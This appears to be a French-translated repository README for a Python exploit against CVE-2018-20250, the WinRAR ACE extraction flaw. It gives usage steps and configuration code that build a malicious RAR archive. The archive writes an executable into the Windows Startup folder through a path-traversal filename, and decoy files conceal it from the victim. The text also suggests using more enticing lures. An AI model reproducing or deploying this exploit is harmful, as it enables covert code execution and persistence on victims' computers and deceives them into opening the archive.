likekabin/cve-2018-20250Script d'exploitation Python pour CVE-2018-20250 qui génère une archive RAR malveillante afin d'obtenir l'exécution de code via la vulnérabilité d'extraction de fichiers ACE de WinRAR, ciblant la persistance dans le dossier de démarrage.
exp pour Extraire l'exécution de code depuis Winrar
poc par Ridter
comment l'utiliser ?
il vous suffit d'installer python 3.7, de préparer un fichier malveillant que vous souhaitez exécuter, de définir les valeurs souhaitées, ce script exp générera automatiquement l'archive malveillante !
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
test.rar
test.rar, elle verra les fichiers hello.txt et world.txt, vous pouvez également ajouter d'autres fichiers, des fichiers plus attrayants.
hi.exe, en réalité il s'agit d'un calc.exe. lorsqu'elle redémarre l'ordinateur, le hi.exe s'exécutera.
amusez-vous bien ! :)